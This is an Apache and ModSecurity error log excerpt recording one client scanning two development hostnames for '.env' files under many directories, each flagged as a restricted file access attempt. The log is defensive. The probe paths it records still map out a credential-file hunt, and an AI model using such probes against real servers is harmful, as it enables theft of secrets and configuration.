[Fri Jul 17 09:14:25.348651 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/admin/.env"] [unique_id "almlGRHlOGcokz2QIwTWXQAAAAM"]
[Fri Jul 17 09:14:25.387069 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /angular/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/angular/.env"] [unique_id "almlGY1dLClkUfK_dfHn2wAAAAI"]
[Fri Jul 17 09:14:25.387311 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/angular/.env"] [unique_id "almlGY1dLClkUfK_dfHn2wAAAAI"]
[Fri Jul 17 09:14:25.387542 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGY1dLClkUfK_dfHn2wAAAAI"]
[Fri Jul 17 09:14:25.551121 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGRHlOGcokz2QIwTWXQAAAAM"]
[Fri Jul 17 09:14:25.555713 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /svelte/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/svelte/.env"] [unique_id "almlGUgVnBK6wAv37w6vsQAAABQ"]
[Fri Jul 17 09:14:25.555965 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/svelte/.env"] [unique_id "almlGUgVnBK6wAv37w6vsQAAABQ"]
[Fri Jul 17 09:14:25.556242 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGUgVnBK6wAv37w6vsQAAABQ"]
[Fri Jul 17 09:14:25.721145 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "almlGbEKozcCJ-ReuK0F8QAAAAg"]
[Fri Jul 17 09:14:25.722482 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "almlGbEKozcCJ-ReuK0F8QAAAAg"]
[Fri Jul 17 09:14:25.739870 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vite/.env"] [unique_id "almlGbEWOaI5pmYo9fnR0wAAAAA"]
[Fri Jul 17 09:14:25.740219 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vite/.env"] [unique_id "almlGbEWOaI5pmYo9fnR0wAAAAA"]
[Fri Jul 17 09:14:25.740511 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGbEWOaI5pmYo9fnR0wAAAAA"]
[Fri Jul 17 09:14:25.908074 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backup/.env"] [unique_id "almlGboj0IkvhSCYadmEzAAAAAQ"]
[Fri Jul 17 09:14:25.908368 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backup/.env"] [unique_id "almlGboj0IkvhSCYadmEzAAAAAQ"]
[Fri Jul 17 09:14:25.908663 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGboj0IkvhSCYadmEzAAAAAQ"]
[Fri Jul 17 09:14:25.946135 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGbEKozcCJ-ReuK0F8QAAAAg"]
[Fri Jul 17 09:14:26.076666 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backups/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backups/.env"] [unique_id "almlGvwooI4qY7Jg93pYmwAAABM"]
[Fri Jul 17 09:14:26.076918 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backups/.env"] [unique_id "almlGvwooI4qY7Jg93pYmwAAABM"]
[Fri Jul 17 09:14:26.077209 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGvwooI4qY7Jg93pYmwAAABM"]
[Fri Jul 17 09:14:26.113965 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/server/.env"] [unique_id "almlGq14q1EBnanVMYGnAQAAAAk"]
[Fri Jul 17 09:14:26.115469 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/server/.env"] [unique_id "almlGq14q1EBnanVMYGnAQAAAAk"]
[Fri Jul 17 09:14:26.243881 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/old/.env"] [unique_id "almlGoe39YUk0SgV8AU9OQAAABE"]
[Fri Jul 17 09:14:26.244187 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/old/.env"] [unique_id "almlGoe39YUk0SgV8AU9OQAAABE"]
[Fri Jul 17 09:14:26.244470 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGoe39YUk0SgV8AU9OQAAABE"]
[Fri Jul 17 09:14:26.274011 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGq14q1EBnanVMYGnAQAAAAk"]
[Fri Jul 17 09:14:26.412006 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/tmp/.env"] [unique_id "almlGpBVIrrUwtEhdafUCgAAAAU"]
[Fri Jul 17 09:14:26.412312 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/tmp/.env"] [unique_id "almlGpBVIrrUwtEhdafUCgAAAAU"]
[Fri Jul 17 09:14:26.412628 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGpBVIrrUwtEhdafUCgAAAAU"]
[Fri Jul 17 09:14:26.442218 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/frontend/.env"] [unique_id "almlGlCBpfuYyhJ140vVyQAAAB4"]
[Fri Jul 17 09:14:26.443393 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/frontend/.env"] [unique_id "almlGlCBpfuYyhJ140vVyQAAAB4"]
[Fri Jul 17 09:14:26.584643 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/temp/.env"] [unique_id "almlGo1dLClkUfK_dfHn3AAAAAI"]
[Fri Jul 17 09:14:26.584951 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/temp/.env"] [unique_id "almlGo1dLClkUfK_dfHn3AAAAAI"]
[Fri Jul 17 09:14:26.585293 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGo1dLClkUfK_dfHn3AAAAAI"]
[Fri Jul 17 09:14:26.671751 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGlCBpfuYyhJ140vVyQAAAB4"]
[Fri Jul 17 09:14:26.717599 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:33334] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:26.756750 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/lab/.env"] [unique_id "almlGlh1WDijTxd1xw5PcQAAAAc"]
[Fri Jul 17 09:14:26.757011 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/lab/.env"] [unique_id "almlGlh1WDijTxd1xw5PcQAAAAc"]
[Fri Jul 17 09:14:26.757323 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGlh1WDijTxd1xw5PcQAAAAc"]
[Fri Jul 17 09:14:26.839977 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/src/.env"] [unique_id "almlGrEWOaI5pmYo9fnR1AAAAAA"]
